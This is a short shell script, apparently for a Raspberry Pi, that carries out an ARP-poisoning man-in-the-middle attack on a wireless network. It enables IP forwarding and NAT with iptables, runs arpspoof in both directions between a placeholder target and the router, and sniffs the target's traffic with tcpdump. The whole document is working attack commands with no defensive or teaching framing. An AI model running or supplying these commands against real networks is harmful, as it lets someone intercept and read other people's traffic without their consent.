ARP poison simple example

arp_poison_RPi.sh

# clear existing rules
#sudo iptables -F
#sudo iptables -t nat -F
#sudo iptables -X

# allow forwarding for related and established connections
sudo iptables -A FORWARD -i wlan0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT

# allow forwarding from wlan0 to wlan0 (both directions)
sudo iptables -A FORWARD -i wlan0 -o wlan0 -j ACCEPT

# set up NAT (optional)
sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE

# terminal 1
sudo arpspoof -i wlan0 -t $targetip $routerip

# terminal 2
sudo arpspoof -i wlan0 -t $routerip $targetip

#terminal 3
sudo tcpdump -i wlan0 host $targetip -v